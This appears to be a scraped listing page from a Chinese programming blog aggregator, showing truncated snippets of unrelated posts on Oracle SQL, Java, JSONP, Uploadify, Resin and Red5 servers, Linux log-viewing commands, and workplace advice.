jvm博客:
http://yunshen0909.iteye.com/blog/2
职场人伤害了“上司” 怎样弥补
aijuans
职场
由于工作中的失误,或者平时不注意自己的言行“伤害”、“得罪”了自己的上司,怎么办呢?
在职业生涯中这种问题尽量不要发生。下面提供了一些解决问题的建议:
一、利用一些轻松的场合表示对他的尊重
即使是开明的上司也很注重自己的权威,都希望得到下属的尊重,所以当你与上司冲突后,最好让不愉快成为过去,你不妨在一些轻松的场合,比如会餐、联谊活动等,向上司问个好,敬下酒,表示你对对方的尊重,
深入浅出url编码
antonyup_2006
应用服务器 浏览器 servlet weblogic IE
出处:http://blog.csdn.net/yzhz 杨争
http://blog.csdn.net/yzhz/archive/2007/07/03/1676796.aspx
一、问题:
编码问题是JAVA初学者在web开发过程中经常会遇到问题,网上也有大量相关的
建表后创建表的约束关系和增加表的字段
百合不是茶
标的约束关系 增加表的字段
下面所有的操作都是在表建立后操作的,主要目的就是熟悉sql的约束,约束语句的万能公式
1,增加字段(student表中增加 姓名字段)
alter table 增加字段的表名 add 增加的字段名 增加字段的数据类型
alter table student add name varchar2(10);
&nb
Uploadify 3.2 参数属性、事件、方法函数详解
bijian1013
JavaScript uploadify
一.属性
属性名称
默认值
说明
auto
true
设置为true当选择文件后就直接上传了,为false需要点击上传按钮才上传。
buttonClass
”
按钮样式
buttonCursor
‘hand’
鼠标指针悬停在按钮上的样子
buttonImage
null
浏览按钮的图片的路
精通Oracle10编程SQL(16)使用LOB对象
bijian1013
oracle 数据库 plsql
/*
*使用LOB对象
*/
--LOB(Large Object)是专门用于处理大对象的一种数据类型,其所存放的数据长度可以达到4G字节
--CLOB/NCLOB用于存储大批量字符数据,BLOB用于存储大批量二进制数据,而BFILE则存储着指向OS文件的指针
/*
*综合实例
*/
--建立表空间
--#指定区尺寸为128k,如不指定,区尺寸默认为64k
CR
【Resin一】Resin服务器部署web应用
bit1129
resin
工作中,在Resin服务器上部署web应用,通常有如下三种方式:
配置多个web-app
配置多个http id
为每个应用配置一个propeties、xml以及sh脚本文件
配置多个web-app
在resin.xml中,可以为一个host配置多个web-app
<cluster id="app&q
red5简介及基础知识
白糖_
基础
简介
Red5的主要功能和Macromedia公司的FMS类似,提供基于Flash的流媒体服务的一款基于Java的开源流媒体服务器。它由Java语言编写,使用RTMP作为流媒体传输协议,这与FMS完全兼容。它具有流化FLV、MP3文件,实时录制客户端流为FLV文件,共享对象,实时视频播放、Remoting等功能。用Red5替换FMS后,客户端不用更改可正
angular.fromJson
boyitech
AngularJS AngularJS 官方API AngularJS API
angular.fromJson 描述: 把Json字符串转为对象 使用方法: angular.fromJson(json); 参数详解: Param Type Details json
string
JSON 字符串 返回值: 对象, 数组, 字符串 或者是一个数字 示例:
<!DOCTYPE HTML>
<h
java-颠倒一个句子中的词的顺序。比如: I am a student颠倒后变成:student a am I
bylijinnan
java
public class ReverseWords {
/**
* 题目:颠倒一个句子中的词的顺序。比如: I am a student颠倒后变成:student a am I.词以空格分隔。
* 要求:
* 1.实现速度最快,移动最少
* 2.不能使用String的方法如split,indexOf等等。
* 解答:两次翻转。
*/
publ
web实时通讯
Chen.H
Web 浏览器 socket 脚本
关于web实时通讯,做一些监控软件。
由web服务器组件从消息服务器订阅实时数据,并建立消息服务器到所述web服务器之间的连接,web浏览器利用从所述web服务器下载到web页面的客户端代理与web服务器组件之间的socket连接,建立web浏览器与web服务器之间的持久连接;利用所述客户端代理与web浏览器页面之间的信息交互实现页面本地更新,建立一条从消息服务器到web浏览器页面之间的消息通路
[基因与生物]远古生物的基因可以嫁接到现代生物基因组中吗?
comsci
生物
大家仅仅把我说的事情当作一个IT行业的笑话来听吧..没有其它更多的意思
如果我们把大自然看成是一位伟大的程序员,专门为地球上的生态系统编制基因代码,并创造出各种不同的生物来,那么6500万年前的程序员开发的代码,是否兼容现代派的程序员的代码和架构呢?
oracle 外部表
daizj
oracle 外部表 external tables
oracle外部表是只允许只读访问,不能进行DML操作,不能创建索引,可以对外部表进行的查询,连接,排序,创建视图和创建同义词操作。
you can select, join, or sort external table data. You can also create views and synonyms for external tables. Ho
aop相关的概念及配置
daysinsun
AOP
切面(Aspect):
通常在目标方法执行前后需要执行的方法(如事务、日志、权限),这些方法我们封装到一个类里面,这个类就叫切面。
连接点(joinpoint)
spring里面的连接点指需要切入的方法,通常这个joinpoint可以作为一个参数传入到切面的方法里面(非常有用的一个东西)。
通知(Advice)
通知就是切面里面方法的具体实现,分为前置、后置、最终、异常环
初一上学期难记忆单词背诵第二课
dcj3sjt126com
english word
middle 中间的,中级的
well 喔,那么;好吧
phone 电话,电话机
policeman 警察
ask 问
take 拿到;带到
address 地址
glad 高兴的,乐意的
why 为什么
China 中国
family 家庭
grandmother (外)祖母
grandfather (外)祖父
wife 妻子
husband 丈夫
da
Linux日志分析常用命令
dcj3sjt126com
linux log
1.查看文件内容
cat
-n 显示行号 2.分页显示
more
Enter 显示下一行
空格 显示下一页
F 显示下一屏
B 显示上一屏
less
/get 查询"get"字符串并高亮显示 3.显示文件尾
tail
-f 不退出持续显示
-n 显示文件最后n行 4.显示头文件
head
-n 显示文件开始n行 5.内容排序
sort
-n 按照
JSONP 原理分析
fantasy2005
JavaScript jsonp jsonp 跨域
转自 http://www.nowamagic.net/librarys/veda/detail/224
JavaScript是一种在Web开发中经常使用的前端动态脚本技术。在JavaScript中,有一个很重要的安全性限制,被称为“Same-Origin Policy”(同源策略)。这一策略对于JavaScript代码能够访问的页面内容做了很重要的限制,即JavaScript只能访问与包含它的
使用connect by进行级联查询
234390216
oracle 查询 父子 Connect by 级联
使用connect by进行级联查询
connect by可以用于级联查询,常用于对具有树状结构的记录查询某一节点的所有子孙节点或所有祖辈节点。
来看一个示例,现假设我们拥有一个菜单表t_menu,其中只有三个字段:
一个不错的能将HTML表格导出为excel,pdf等的jquery插件
jackyrong
jquery插件
发现一个老外写的不错的jquery插件,可以实现将HTML
表格导出为excel,pdf等格式,
地址在:
https://github.com/kayalshri/
下面看个例子,实现导出表格到excel,pdf
<html>
<head>
<title>Export html table to excel an
UI设计中我们为什么需要设计动效
lampcy
UI UI设计
关于Unity3D中的Shader的知识
首先先解释下Unity3D的Shader,Unity里面的Shaders是使用一种叫ShaderLab的语言编写的,它同微软的FX文件或者NVIDIA的CgFX有些类似。传统意义上的vertex shader和pixel shader还是使用标准的Cg/HLSL 编程语言编写的。因此Unity文档里面的Shader,都是指用ShaderLab编写的代码,
如何禁止页面缓存
nannan408
html jsp cache
禁止页面使用缓存~
------------------------------------------------
jsp:页面no cache:
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","no-cach
以代码的方式管理quartz定时任务的暂停、重启、删除、添加等
Everyday都不同
定时任务管理 spring-quartz
【前言】在项目的管理功能中,对定时任务的管理有时会很常见。因为我们不能指望只在配置文件中配置好定时任务就行了,因为如果要控制定时任务的 “暂停” 呢?暂停之后又要在某个时间点 “重启” 该定时任务呢?或者说直接 “删除” 该定时任务呢?要改变某定时任务的触发时间呢? “添加” 一个定时任务对于系统的使用者而言,是不太现实的,因为一个定时任务的处理逻辑他是不
EXT实例
tntxia
ext
(1) 增加一个按钮
JSP:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
Stri
数学学习在计算机研究领域的作用和重要性
xjnine
Math
最近一直有师弟师妹和朋友问我数学和研究的关系,研一要去学什么数学课。毕竟在清华,衡量一个研究生最重要的指标之一就是paper,而没有数学,是肯定上不了世界顶级的期刊和会议的,这在计算机学界尤其重要!你会发现,不论哪个领域有价值的东西,都一定离不开数学!在这样一个信息时代,当google已经让世界没有秘密的时候,一种卓越的数学思维,绝对可以成为你的核心竞争力. 无奈本人实在见地